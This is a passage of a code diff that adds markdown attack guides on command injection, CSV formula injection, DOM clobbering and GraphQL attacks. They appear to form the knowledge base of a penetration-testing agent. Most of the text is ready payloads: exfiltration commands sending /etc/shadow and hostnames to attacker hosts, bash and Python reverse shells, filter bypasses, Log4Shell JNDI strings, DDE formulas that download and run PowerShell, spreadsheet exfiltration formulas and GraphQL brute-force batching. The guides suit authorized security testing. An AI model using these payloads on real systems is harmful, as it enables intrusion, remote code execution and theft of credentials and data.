Cloud misconfigurations compound traditional vulnerabilities: SSRF becomes credential theft, leaked IAM keys become full account compromise, and exposed CI/CD pipelines become supply chain attacks. Test cloud metadata endpoints whenever SSRF exists, enumerate storage buckets, and review IAM policies for privilege escalation paths.
|
||||
245
strix/skills/vulnerabilities/command_injection.md
Normal file
245
strix/skills/vulnerabilities/command_injection.md
Normal file
|
|
@ -0,0 +1,245 @@
|
|||
---
|
||||
name: command-injection
|
||||
description: OS command injection testing covering all injection contexts, bypass techniques, and blind exfiltration
|
||||
---
|
||||
|
||||
# Command Injection
|
||||
|
||||
OS command injection occurs when user-controlled input is passed to a shell interpreter without proper sanitization. Even single characters (`;`, `|`, `` ` ``) can pivot a web request into full RCE. Modern apps hide injection in non-obvious places: image processors, archive handlers, DNS lookups, and CI/CD pipelines.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Direct Execution Sinks**
|
||||
- `system()`, `exec()`, `popen()`, `shell_exec()`, `passthru()` (PHP)
|
||||
- `subprocess.run(shell=True)`, `os.system()`, `os.popen()` (Python)
|
||||
- `Runtime.exec()` with string concat (Java), `child_process.exec()` (Node)
|
||||
- `backtick operators`, `$()` expansion in shell scripts
|
||||
|
||||
**Indirect / Feature-Level**
|
||||
- Image/video processing: ImageMagick, ffmpeg, exiftool
|
||||
- Archive creation/extraction: zip, tar, 7z with filenames
|
||||
- PDF generation: wkhtmltopdf, phantomjs, puppeteer CLI wrappers
|
||||
- Network tools: ping, nslookup, dig, curl, wget invoked server-side
|
||||
- Git operations: `git clone`, `git archive` with attacker-controlled URLs
|
||||
- Log shipping and monitoring agent configs
|
||||
- CI/CD pipelines parsing user data in build steps
|
||||
|
||||
**Input Vectors**
|
||||
- Filename, username, email, hostname, IP address, domain fields
|
||||
- File contents (config files, uploaded scripts, CSV columns)
|
||||
- HTTP headers used in shell scripts (User-Agent, Referer, X-Forwarded-For)
|
||||
- URL path segments used in file operations
|
||||
|
||||
## Injection Operators
|
||||
|
||||
| Operator | Behavior | Example |
|
||||
|----------|----------|---------|
|
||||
| `;` | Sequential execution | `ping host; id` |
|
||||
| `&&` | Execute if previous succeeds | `ping host && id` |
|
||||
| `\|\|` | Execute if previous fails | `ping FAIL \|\| id` |
|
||||
| `\|` | Pipe output | `echo x \| id` |
|
||||
| `` ` `` | Command substitution (bash) | `` ping `id` `` |
|
||||
| `$()` | Command substitution | `ping $(id)` |
|
||||
| `\n` / `%0a` | Newline injection in args | `ping -c1\nid` |
|
||||
| `>` / `>>` | Output redirection | `id > /tmp/x` |
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### In-Band (Output Reflected)
|
||||
|
||||
Direct output in response body or error messages:
|
||||
```
|
||||
; cat /etc/passwd
|
||||
| whoami
|
||||
$(id)
|
||||
`uname -a`
|
||||
& net user (Windows)
|
||||
```
|
||||
|
||||
### Blind Command Injection
|
||||
|
||||
No output in response — use timing or out-of-band:
|
||||
|
||||
**Timing**
|
||||
```
|
||||
; sleep 10
|
||||
& ping -c 10 127.0.0.1
|
||||
; timeout /t 10 (Windows)
|
||||
```
|
||||
|
||||
**DNS/HTTP exfiltration (OAST)**
|
||||
```
|
||||
; curl http://BURP_COLLABORATOR/?x=$(whoami|base64)
|
||||
; nslookup $(cat /etc/hostname).attacker.tld
|
||||
; wget -q -O- http://attacker/$(id|base64 -w0)
|
||||
```
|
||||
|
||||
**File write**
|
||||
```
|
||||
; id > /var/www/html/output.txt
|
||||
; whoami >> /tmp/x && curl http://attacker/$(cat /tmp/x|base64)
|
||||
```
|
||||
|
||||
### Argument Injection
|
||||
|
||||
When the command is fixed but arguments are user-controlled:
|
||||
```
|
||||
# curl --upload-file attacker.php http://internal/
|
||||
# git clone git://attacker --upload-pack=id
|
||||
# find . -name USER_INPUT -exec id \;
|
||||
# ImageMagick: "| id #" as filename (ImageMagick CVE-2016-3714)
|
||||
# ffmpeg: input file as -i http://attacker/ssrf.m3u8
|
||||
```
|
||||
|
||||
### Windows-Specific
|
||||
|
||||
```
|
||||
& whoami
|
||||
| net user
|
||||
%0a dir
|
||||
cmd /c whoami
|
||||
powershell -c "whoami"
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Whitespace Alternatives**
|
||||
```bash
|
||||
{id} # brace expansion
|
||||
$IFS # internal field separator
|
||||
${IFS}
|
||||
X=$'\x20'&&id # hex space
|
||||
cat</etc/passwd # no space needed
|
||||
```
|
||||
|
||||
**Quote/Character Tricks**
|
||||
```bash
|
||||
c'a't /etc/passwd
|
||||
wh''oami
|
||||
/bin/c?? # glob expansion
|
||||
/usr/bin/id
|
||||
$(printf "\x69\x64") # hex chars
|
||||
```
|
||||
|
||||
**Filter Bypasses**
|
||||
```bash
|
||||
# Semicolon blocked
|
||||
%0a id # URL-encoded newline
|
||||
\nid # backslash-n
|
||||
# Pipe blocked
|
||||
$(id)
|
||||
`id`
|
||||
# Space blocked
|
||||
{cat,/etc/passwd}
|
||||
IFS=,;cat,/etc/passwd
|
||||
# Dot blocked (no extension)
|
||||
bash</dev/tcp/attacker/4444
|
||||
```
|
||||
|
||||
**Encoding**
|
||||
```
|
||||
URL encode: %3b = ;, %7c = |, %26 = &
|
||||
Double encode: %253b
|
||||
Unicode: fullwidth chars for operators
|
||||
```
|
||||
|
||||
**Environment Variable Abuse**
|
||||
```bash
|
||||
$PATH=/tmp:$PATH # prepend malicious binary
|
||||
env -i PATH=/tmp:$PATH command
|
||||
```
|
||||
|
||||
## Out-of-Band Exfiltration
|
||||
|
||||
When responses don't reflect output:
|
||||
```bash
|
||||
# DNS (single lookup)
|
||||
nslookup $(whoami).attacker.tld
|
||||
|
||||
# DNS (file contents)
|
||||
for x in $(cat /etc/passwd | tr ' ' '_'); do nslookup $x.attacker.tld; done
|
||||
|
||||
# HTTP via curl
|
||||
curl "http://attacker/?d=$(cat /etc/shadow|base64 -w0)"
|
||||
|
||||
# HTTP via wget
|
||||
wget "http://attacker/?d=$(id|base64)"
|
||||
|
||||
# Write to web root
|
||||
id > /var/www/html/$(date +%s).txt
|
||||
|
||||
# Reverse shell via bash
|
||||
bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'
|
||||
|
||||
# Reverse shell via python
|
||||
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker",4444));[os.dup2(s.fileno(),x) for x in(0,1,2)];subprocess.run(["/bin/bash"])'
|
||||
```
|
||||
|
||||
## Special Cases
|
||||
|
||||
### ImageMagick (CVE-2016-3714 / ImageTragick)
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://example.com/|id > /tmp/exec)'
|
||||
pop graphic-context
|
||||
```
|
||||
|
||||
### PHP Mail Function
|
||||
```php
|
||||
// mail($to, $subject, $body, $headers, $extra_params)
|
||||
// extra_params = "-f attacker@x.tld -be ${run{/usr/bin/id}{>/tmp/x}}"
|
||||
```
|
||||
|
||||
### Log4Shell (CVE-2021-44228)
|
||||
```
|
||||
${jndi:ldap://attacker.tld/a}
|
||||
${${lower:j}ndi:ldap://attacker/a}
|
||||
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker/a}
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Map execution sinks** — Find every feature that invokes system tools (image ops, archives, network checks, export functions)
|
||||
2. **Inject separators** — Test `;`, `|`, `&&`, `||`, newlines in every input field
|
||||
3. **Timing oracle** — `sleep 5` / `ping -c 5 127.0.0.1` to confirm blind injection
|
||||
4. **OAST exfiltration** — DNS/HTTP callback with `whoami` or hostname
|
||||
5. **Enumerate context** — User, groups, env vars, filesystem layout
|
||||
6. **Argument injection** — When command is fixed, test flags and special-meaning values
|
||||
7. **OS detection** — `uname -a` (Linux) vs `ver` (Windows) for platform-specific payloads
|
||||
|
||||
## Validation
|
||||
|
||||
1. Prove command execution with time-based oracle (reliable, repeatable delay differential)
|
||||
2. Confirm via OAST callback showing server-initiated DNS/HTTP request with data
|
||||
3. Show `id`/`whoami` output or `/etc/hostname` via OOB for identity context
|
||||
4. Stop at confirming execution — avoid file reads of sensitive data or reverse shells unless scope allows
|
||||
|
||||
## False Positives
|
||||
|
||||
- Time delays from network/DB/processing latency unrelated to injected sleep
|
||||
- DNS lookups for legitimate reasons
|
||||
- Shell metacharacters in inputs that are properly escaped before execution
|
||||
- Use of parameterized command execution APIs (e.g., `subprocess.run(list_form)`)
|
||||
|
||||
## Impact
|
||||
|
||||
- Direct RCE as web server user or container process
|
||||
- Credential/secret exfiltration from environment and config files
|
||||
- Lateral movement to internal services via network access
|
||||
- Container escape, cloud metadata access, and persistence
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Try newline (`%0a`) injection first — often forgotten in blacklists targeting `;` and `|`
|
||||
2. `$IFS` beats space filters in Bash; use it liberally
|
||||
3. ImageMagick/ffmpeg features are goldmines for blind injection — read their parsers
|
||||
4. Argument injection is more reliable than operator injection in newer apps
|
||||
5. Use Burp Collaborator/interactsh for OAST in blind scenarios
|
||||
6. Glob expansion (`/???/??/id`) bypasses keyword filters without encoding
|
||||
7. When output is blocked, write to web root or cron-reachable path for async retrieval
|
||||
8. Always test Windows equivalents (`&`, `|`, `cmd /c`) on ASP.NET / IIS stacks
|
||||
|
||||
## Summary
|
||||
|
||||
Command injection turns string concatenation into shell access. Any framework that builds a shell command with user data is vulnerable. Test separators, use OAST for blind cases, and always check indirect sinks like image processors and archive handlers.
|
||||
163
strix/skills/vulnerabilities/csv_formula_injection.md
Normal file
163
strix/skills/vulnerabilities/csv_formula_injection.md
Normal file
|
|
@ -0,0 +1,163 @@
|
|||
---
|
||||
name: csv-formula-injection
|
||||
description: CSV/spreadsheet formula injection in export features that execute commands in Excel, LibreOffice, and Google Sheets
|
||||
---
|
||||
|
||||
# CSV / Formula Injection
|
||||
|
||||
CSV injection (also called Formula Injection or Excel Macro Injection) occurs when user-supplied data is included in CSV, XLSX, ODS, or similar spreadsheet exports without sanitization. When the exported file is opened in a spreadsheet application, injected formulas execute — potentially exfiltrating data, making outbound connections, or (in some cases) executing local commands.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Export Features**
|
||||
- "Export to CSV" / "Download as Excel" functionality
|
||||
- Report generation: financial reports, user lists, analytics exports
|
||||
- Audit logs exported to spreadsheet
|
||||
- Support ticket exports
|
||||
- Contact/customer data exports
|
||||
|
||||
**Input Vectors**
|
||||
- Any field that ends up in an exported spreadsheet:
|
||||
- Name, company, address fields
|
||||
- Comment/description fields
|
||||
- Subject/title fields
|
||||
- Username, email
|
||||
- Any user-controlled data in admin/reporting exports
|
||||
|
||||
## Injection Characters
|
||||
|
||||
Spreadsheet applications treat cells starting with these characters as formulas:
|
||||
```
|
||||
= → formula start (most common)
|
||||
+ → formula start
|
||||
- → formula start
|
||||
@ → formula start (Excel)
|
||||
\t → tab character (can misparse columns)
|
||||
\r → carriage return (can inject new rows)
|
||||
\n → newline (can inject new rows)
|
||||
```
|
||||
|
||||
## Payload Examples
|
||||
|
||||
### OOXML/DDE (Dynamic Data Exchange) — Windows RCE
|
||||
|
||||
```
|
||||
=cmd|' /C calc'!A0
|
||||
=cmd|' /C whoami > C:\Users\Public\pwned.txt'!A0
|
||||
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc'!A0
|
||||
|
||||
# DDE in Excel
|
||||
=DDE("cmd","/c calc","1")
|
||||
=DDE("cmd","/c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/x.ps1')","1")
|
||||
```
|
||||
|
||||
### Data Exfiltration (Universal — works in Google Sheets, Excel Online)
|
||||
|
||||
```
|
||||
# Exfiltrate current document data via WEBSERVICE/IMPORTDATA
|
||||
=WEBSERVICE("http://attacker.com/?data="&A1)
|
||||
=IMPORTDATA("http://attacker.com/?d="&CONCATENATE(A1,A2,A3))
|
||||
|
||||
# Google Sheets specific
|
||||
=IMPORTXML(CONCAT("http://attacker.com/?leak=",CONCATENATE(A1:Z99)),"//a")
|
||||
=IMAGE("https://attacker.com/?d="&A1)
|
||||
|
||||
# Exfiltrate file contents
|
||||
=HYPERLINK("http://attacker.com/?d="&A1,"Click here")
|
||||
|
||||
# Formula to read other cells and send externally
|
||||
=WEBSERVICE(CONCAT("http://attacker.com/?s=",INDIRECT("A"&ROW())))
|
||||
```
|
||||
|
||||
### Hyperlink Injection
|
||||
|
||||
```
|
||||
=HYPERLINK("http://attacker.com/phishing","Click to view invoice")
|
||||
=HYPERLINK("http://attacker.com/","Verify your account")
|
||||
```
|
||||
|
||||
### Exfil via DNS (when HTTP blocked)
|
||||
|
||||
```
|
||||
# Excel/LibreOffice may allow UNC paths for DNS leak
|
||||
=WEBSERVICE("\\\\attacker.com\\a")
|
||||
=CALL("KERNEL32","GetTempPathA","JCJ",255,A1)
|
||||
```
|
||||
|
||||
## Context-Specific Payloads
|
||||
|
||||
### Google Sheets
|
||||
|
||||
```
|
||||
=IMPORTDATA("https://attacker.com/?d="&A1)
|
||||
=IMAGE("https://attacker.com/?leak="&ENCODEURL(A1))
|
||||
=HYPERLINK(CONCAT("https://attacker.com/?q=",A1),"link")
|
||||
|
||||
# Docs formula that exfiltrates spreadsheet owner
|
||||
=WEBSERVICE("https://attacker.com/?user="&CELL("address",A1))
|
||||
```
|
||||
|
||||
### LibreOffice Calc
|
||||
|
||||
```
|
||||
=WEBSERVICE("http://attacker.com/?d="&A1)
|
||||
# LibreOffice macro execution is less common but possible with user approval
|
||||
```
|
||||
|
||||
### Excel (Desktop)
|
||||
|
||||
```
|
||||
# DDE (disabled by default since 2017 but still tested)
|
||||
=cmd|' /C powershell...'!A0
|
||||
|
||||
# External data connection
|
||||
=WEBSERVICE("http://attacker.com/?d="&A1)
|
||||
# Excel 2016+ blocks WEBSERVICE for external URLs by default but not LAN
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Find export features** — Download CSV/Excel from admin panels, reports, profiles
|
||||
2. **Inject in all user-controlled fields** — Name, email, comments, any text field
|
||||
3. **Basic formula probe** — `=1+1` → if cell shows `2` in export, formula injection confirmed
|
||||
4. **Test = + - @ chars** — Try each as first character
|
||||
5. **WEBSERVICE/IMPORTDATA** — Set up OAST listener, inject exfiltration payload
|
||||
6. **Test hyperlink injection** — Check if phishing links render in exported file
|
||||
7. **DDE test** — Try `=cmd|' /C calc'!A0` in Excel environments
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show the exported CSV/XLSX with the injected formula visible in a cell
|
||||
2. Demonstrate that the formula executes when file is opened (if possible safely)
|
||||
3. For exfiltration: show OAST callback with cell data
|
||||
4. For DDE: show that cmd/calc launches (only in controlled test environment)
|
||||
|
||||
## False Positives
|
||||
|
||||
- Export sanitizes leading special characters (prepends apostrophe: `'=formula`)
|
||||
- Export adds quotes around all fields preventing formula interpretation
|
||||
- Application uses library that escapes formula characters (e.g., Apache POI with proper escaping)
|
||||
|
||||
## Impact
|
||||
|
||||
| Scenario | Impact |
|
||||
|----------|--------|
|
||||
| Admin exports user data | DDE RCE on admin's machine |
|
||||
| User exports own data | Self-XSS (lower severity) |
|
||||
| Scheduled reports to executives | High-value target for DDE |
|
||||
| Google Sheets imports | Exfiltration of spreadsheet data |
|
||||
| Phishing via hyperlink | Credential theft |
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. The highest impact is DDE/RCE → but requires Excel + user accepting security warning → P2/P3
|
||||
2. WEBSERVICE-based exfiltration via OAST is proof without any user interaction → P3/P4
|
||||
3. Focus on admin export features — admins open exported files more often
|
||||
4. `=1+1` is your safe canary — if you get `2` in the output cell, injection confirmed
|
||||
5. Prefix with `@` for Excel-specific execution: `@SUM(1+1)*cmd|' /C calc'!A0`
|
||||
6. Some bug bounty programs specifically mention "CSV injection" as in-scope
|
||||
7. Google Sheets auto-executes `=IMPORTDATA()` without user confirmation → data exfil is real
|
||||
|
||||
## Summary
|
||||
|
||||
CSV injection persists because sanitizing formula characters feels unnecessary — until an admin opens an export. The highest-risk targets are admin-facing exports in desktop Excel. Use `=1+1` to confirm injection, WEBSERVICE/IMPORTDATA for exfiltration proof, and DDE for RCE demonstration. Always sanitize leading formula characters by prefixing with apostrophe or removing them.
|
||||
204
strix/skills/vulnerabilities/dom_clobbering.md
Normal file
204
strix/skills/vulnerabilities/dom_clobbering.md
Normal file
|
|
@ -0,0 +1,204 @@
|
|||
---
|
||||
name: dom-clobbering
|
||||
description: DOM clobbering attacks that override global JavaScript variables using HTML elements to achieve XSS
|
||||
---
|
||||
|
||||
# DOM Clobbering
|
||||
|
||||
DOM clobbering exploits the legacy browser behavior where named HTML elements are accessible as global JavaScript properties. By injecting HTML with `id` or `name` attributes, attackers can overwrite global variables, configuration objects, and function references — leading to XSS even without direct script injection.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Vulnerable Patterns**
|
||||
- Apps that check `window.X || defaultValue` before sanitizing
|
||||
- Configuration objects set by HTML attributes: `<meta name="config" content="...">`
|
||||
- Script tags referencing `window.config`, `window.data`, `window.user`
|
||||
- Libraries (DOMPurify < 2.x, older sanitizers) that pass clobbering vectors
|
||||
|
||||
**HTML Injection Without Script Tags**
|
||||
- Sanitizers that allow `id` and `name` attributes
|
||||
- HTML sanitizers that permit `<a>`, `<form>`, `<input>`, `<img>` but block `<script>`
|
||||
- Markdown renderers, rich text editors, user profile fields
|
||||
|
||||
## Clobbering Mechanics
|
||||
|
||||
Named HTML elements become global properties:
|
||||
```html
|
||||
<img id="x"> → window.x === document.getElementById('x') (HTMLElement)
|
||||
<a id="x" href="//attacker"> → window.x.toString() === "//attacker"
|
||||
<form id="x"><input name="y"> → window.x.y === <input> element
|
||||
```
|
||||
|
||||
Key properties:
|
||||
- `<a id="X" href="Y">` → `window.X` is element, `window.X.href` is "Y" (absolute URL)
|
||||
- `<a id="X" name="X" href="Y">` → Two elements with same name create HTMLCollection
|
||||
- `window.X[0]` and `window.X[1]` accessible via indexed collection
|
||||
- `toString()` on anchor returns `href` value
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Clobbering Configuration Objects
|
||||
|
||||
```javascript
|
||||
// Vulnerable app code
|
||||
var config = window.config || {};
|
||||
var baseUrl = config.baseUrl || '/api/';
|
||||
fetch(baseUrl + endpoint);
|
||||
```
|
||||
|
||||
Inject:
|
||||
```html
|
||||
<a id="config" href="//attacker.com/">
|
||||
```
|
||||
Result: `config.baseUrl` resolved, `toString()` returns `//attacker.com/`
|
||||
|
||||
### Clobbering `document.getElementById`
|
||||
|
||||
```html
|
||||
<!-- Inject: -->
|
||||
<form id="x"><input id="attributes"></form>
|
||||
<!-- Now: document.getElementById('x').attributes is the <input> element -->
|
||||
<!-- Not the real NamedNodeMap -->
|
||||
```
|
||||
|
||||
### Nested Clobbering with Forms
|
||||
|
||||
```html
|
||||
<form id="obj"><input name="key" value="evil"></form>
|
||||
<!-- window.obj.key === <input> element -->
|
||||
<!-- window.obj.key.value === "evil" -->
|
||||
|
||||
<!-- For objects with two levels: -->
|
||||
<form name="a"><input name="b" value="clobbered"></form>
|
||||
<!-- window.a.b.value === "clobbered" -->
|
||||
```
|
||||
|
||||
### HTMLCollection Clobbering
|
||||
|
||||
When two elements share the same `id`, `window[id]` becomes an HTMLCollection:
|
||||
```html
|
||||
<a id="x">first</a>
|
||||
<a id="x" href="javascript:alert(1)">second</a>
|
||||
<!-- window.x[0] = first anchor, window.x[1] = second anchor -->
|
||||
<!-- window.x[0].toString() = page URL, window.x[1].toString() = "javascript:alert(1)" -->
|
||||
```
|
||||
|
||||
### Clobbering DOMPurify Internals
|
||||
|
||||
DOMPurify < 2.0.17 was bypassed:
|
||||
```html
|
||||
<form id="DOMPurify"><input name="removed"></form>
|
||||
<!-- Clobbers DOMPurify.removed, breaking cleanup tracking -->
|
||||
```
|
||||
|
||||
### Script Gadget Exploitation
|
||||
|
||||
Many libraries read `window.*` configuration:
|
||||
```javascript
|
||||
// jQuery Mobile
|
||||
window.jQMobile.defaultPageTransition
|
||||
|
||||
// Angular
|
||||
window.angular.callbacks
|
||||
|
||||
// Lodash templates
|
||||
window._ = ...
|
||||
```
|
||||
|
||||
Find gadgets in loaded libraries and craft clobbering payload targeting their config.
|
||||
|
||||
## Payload Examples
|
||||
|
||||
**Basic clobber to inject URL**
|
||||
```html
|
||||
<a id="cdnUrl" href="https://attacker.com/evil.js">x</a>
|
||||
<!-- If app does: script.src = window.cdnUrl -->
|
||||
```
|
||||
|
||||
**Nested property clobber**
|
||||
```html
|
||||
<form id="config">
|
||||
<input name="scriptUrl" value="//attacker.com/x.js">
|
||||
</form>
|
||||
<!-- window.config.scriptUrl === "//attacker.com/x.js" -->
|
||||
```
|
||||
|
||||
**Boolean override**
|
||||
```html
|
||||
<img id="isAdmin">
|
||||
<!-- window.isAdmin is truthy (HTMLElement) even though it should be false -->
|
||||
```
|
||||
|
||||
**Function override**
|
||||
```html
|
||||
<img id="validate">
|
||||
<!-- window.validate() now throws TypeError, bypassing validation check -->
|
||||
<!-- if(window.validate && window.validate(input)) → TypeError = falsy in try/catch -->
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Bypassing DOMPurify**
|
||||
```html
|
||||
<!-- Clobber sanitizer state -->
|
||||
<form id="DOMPurify"><input name="removed"></form>
|
||||
|
||||
<!-- Force sanitizer to use attacker-controlled document -->
|
||||
<form id="document"><input name="getElementById"></form>
|
||||
```
|
||||
|
||||
**Bypassing CSP with Clobbering**
|
||||
```html
|
||||
<!-- No inline script needed — clobber a src attribute -->
|
||||
<a id="nonce" href="attacker-nonce-value">
|
||||
<!-- If app reads: document.querySelector('script').nonce = window.nonce -->
|
||||
```
|
||||
|
||||
**Chaining with Other Vulns**
|
||||
- HTML injection → clobbering → XSS (avoid script tag requirement)
|
||||
- Markdown with `id` attributes allowed → clobber → script gadget execution
|
||||
- Prototype pollution + clobbering for deeper property chains
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Find HTML injection** — Any field that renders user HTML without full script-tag blocking
|
||||
2. **Map global variables** — Read app JS, identify `window.X` references with falsy checks
|
||||
3. **Identify gadgets** — Which variables are used as URLs, function refs, or booleans
|
||||
4. **Test clobber** — Inject `<a id="X" href="payload">` and observe behavior
|
||||
5. **Check sanitizer version** — Test DOMPurify/sanitize-html versions for known bypasses
|
||||
6. **Enumerate loaded libraries** — Each has clobberable config properties
|
||||
7. **Test form+input for nested** — `<form id="a"><input name="b">` for `a.b`
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show HTML payload (no `<script>`) that causes JavaScript execution or unexpected behavior
|
||||
2. Demonstrate the clobbered variable is read by app code
|
||||
3. Prove execution context (XSS via gadget, URL redirection, auth bypass)
|
||||
|
||||
## False Positives
|
||||
|
||||
- App code uses local variables, not `window.*` references
|
||||
- Sanitizer strips `id` and `name` attributes
|
||||
- CSP blocks the subsequent resource load triggered by clobbered URL
|
||||
- No script gadgets present in loaded JavaScript
|
||||
|
||||
## Impact
|
||||
|
||||
- XSS in applications that only filter `<script>` tags but allow `id`/`name` attributes
|
||||
- Authentication bypass when clobbering boolean/admin checks
|
||||
- Data exfiltration via clobbered endpoint URLs
|
||||
- Persistent XSS if injection is stored
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. DOM Invader (Burp) automatically detects clobbering vectors and gadgets
|
||||
2. Focus on libraries: `angular`, `jquery.mobile`, `lodash`, `handlebars` all have gadgets
|
||||
3. `<a href>` is the most powerful primitive — it gives you a URL-string via `toString()`
|
||||
4. Look for `window.X = window.X || {}` — that `||` is the clobbering entry point
|
||||
5. Test in Chrome and Firefox — behavior of `window[id]` differs slightly
|
||||
6. `name` attribute on `<iframe>` also clobbers `window.name` — useful in postMessage chains
|
||||
7. Combine with prototype pollution for multi-level property chains
|
||||
|
||||
## Summary
|
||||
|
||||
DOM clobbering bypasses sanitizers that block scripts but allow harmless-looking elements. Named HTML elements override global JavaScript variables, enabling XSS through existing code gadgets. Test any HTML injection point where the sanitizer permits `id` or `name` attributes.
|
||||
259
strix/skills/vulnerabilities/graphql_attacks.md
Normal file
259
strix/skills/vulnerabilities/graphql_attacks.md
Normal file
|
|
@ -0,0 +1,259 @@
|
|||
---
|
||||
name: graphql-attacks
|
||||
description: GraphQL security testing covering introspection abuse, injection, batching attacks, and authorization bypass
|
||||
---
|
||||
|
||||
# GraphQL Attacks
|
||||
|
||||
GraphQL exposes a single endpoint that can be abused for data exposure, injection, DoS, and authorization bypass. Its flexible query language means a single endpoint with insufficient controls can leak the entire schema and allow querying unauthorized data across multiple object types.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Common Endpoints**
|
||||
- `/graphql`, `/graphiql`, `/api/graphql`, `/query`, `/gql`
|
||||
- POST with `Content-Type: application/json`
|
||||
- GET with `?query=...` parameter
|
||||
- WebSocket (`ws://`) for subscriptions
|
||||
|
||||
**Entry Points**
|
||||
- Query arguments (scalar types, enum inputs)
|
||||
- Mutation input objects
|
||||
- Subscription filters
|
||||
- Directive arguments
|
||||
- Fragment spreads on polymorphic types
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Introspection Exposure
|
||||
|
||||
Full schema disclosure via introspection query:
|
||||
```graphql
|
||||
{
|
||||
__schema {
|
||||
types {
|
||||
name
|
||||
fields {
|
||||
name
|
||||
type { name kind }
|
||||
args { name type { name kind } }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Minimal version when full is blocked:
|
||||
```graphql
|
||||
{ __schema { queryType { name } } }
|
||||
{ __type(name: "User") { fields { name } } }
|
||||
```
|
||||
|
||||
Tool: `clairvoyance` — recovers schema even when introspection is disabled via field name brute-forcing.
|
||||
|
||||
### Field Suggestion Leakage
|
||||
|
||||
Even with introspection disabled, GraphQL returns "Did you mean X?" suggestions on typos:
|
||||
```graphql
|
||||
{ usr { emailAddres } }
|
||||
# Response: "Did you mean 'emailAddress'?"
|
||||
```
|
||||
|
||||
Use `clairvoyance` or manual fuzzing to map schema via suggestions.
|
||||
|
||||
### Authorization Bypass (BOLA/IDOR)
|
||||
|
||||
```graphql
|
||||
# Access another user's data
|
||||
query { user(id: "VICTIM_ID") { email, privateData, paymentMethods } }
|
||||
|
||||
# Nested object traversal
|
||||
query { order(id: "X") { customer { admin, internalNotes, ssn } } }
|
||||
|
||||
# Alias-based parallel enumeration
|
||||
query {
|
||||
u1: user(id: "1") { email }
|
||||
u2: user(id: "2") { email }
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
### Mutation Authorization Bypass
|
||||
|
||||
```graphql
|
||||
# Try admin mutations
|
||||
mutation { deleteUser(id: "VICTIM") { success } }
|
||||
mutation { updateRole(userId: "ME", role: "ADMIN") { success } }
|
||||
mutation { createAdminAccount(email: "attacker@x.com", password: "X") { token } }
|
||||
```
|
||||
|
||||
### Batching Attacks
|
||||
|
||||
**JSON Array Batching** (for brute force, bypassing rate limits)
|
||||
```json
|
||||
[
|
||||
{"query": "mutation { login(email:\"admin@x.com\", password:\"pass1\") { token } }"},
|
||||
{"query": "mutation { login(email:\"admin@x.com\", password:\"pass2\") { token } }"},
|
||||
...
|
||||
]
|
||||
```
|
||||
|
||||
**Alias Batching** (sends N queries in 1 HTTP request)
|
||||
```graphql
|
||||
mutation {
|
||||
a1: login(email:"admin@x.com", password:"pass1") { token }
|
||||
a2: login(email:"admin@x.com", password:"pass2") { token }
|
||||
}
|
||||
```
|
||||
|
||||
### GraphQL Injection
|
||||
|
||||
**SQL Injection via arguments**
|
||||
```graphql
|
||||
{ users(filter: "1=1 UNION SELECT username,password FROM users--") { name } }
|
||||
{ search(query: "' OR 1=1--") { results } }
|
||||
```
|
||||
|
||||
**NoSQL Injection**
|
||||
```graphql
|
||||
{ user(id: "{\"$gt\": \"\"}") { email } }
|
||||
```
|
||||
|
||||
**SSTI via resolvers**
|
||||
```graphql
|
||||
mutation { updateProfile(bio: "{{7*7}}") { bio } }
|
||||
```
|
||||
|
||||
### Denial of Service
|
||||
|
||||
**Deep Query Nesting**
|
||||
```graphql
|
||||
{
|
||||
user {
|
||||
friends {
|
||||
friends {
|
||||
friends {
|
||||
friends { name }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Circular Fragment Reference**
|
||||
```graphql
|
||||
fragment A on User { friends { ...B } }
|
||||
fragment B on User { friends { ...A } }
|
||||
{ user { ...A } }
|
||||
```
|
||||
|
||||
**Field Duplication**
|
||||
```graphql
|
||||
{
|
||||
user { name name name name name name name name name name ... }
|
||||
}
|
||||
```
|
||||
|
||||
### SSRF via GraphQL
|
||||
|
||||
```graphql
|
||||
mutation { fetchUrl(url: "http://169.254.169.254/latest/meta-data/") { content } }
|
||||
query { importData(source: "file:///etc/passwd") { data } }
|
||||
```
|
||||
|
||||
### Subscription Hijacking
|
||||
|
||||
```graphql
|
||||
subscription { allMessages { content sender { id email } } }
|
||||
subscription { orderUpdates(userId: "VICTIM_ID") { status total } }
|
||||
```
|
||||
|
||||
### Persisted Query Abuse
|
||||
|
||||
Automatic Persisted Queries (APQ) may allow submitting previously-denied queries by hash:
|
||||
```json
|
||||
{"extensions": {"persistedQuery": {"version": 1, "sha256Hash": "KNOWN_HASH"}}}
|
||||
```
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
**Introspection Bypass**
|
||||
```graphql
|
||||
# Lowercase type name
|
||||
{ __SCHEMA { types { name } } }
|
||||
# With spaces
|
||||
{ __schema { types { name } } }
|
||||
# Via POST (when GET is blocked)
|
||||
# Different Content-Type: application/graphql
|
||||
```
|
||||
|
||||
**Field Aliasing to Bypass Rate Limits**
|
||||
```graphql
|
||||
{ a: sensitiveField, b: sensitiveField, c: sensitiveField }
|
||||
```
|
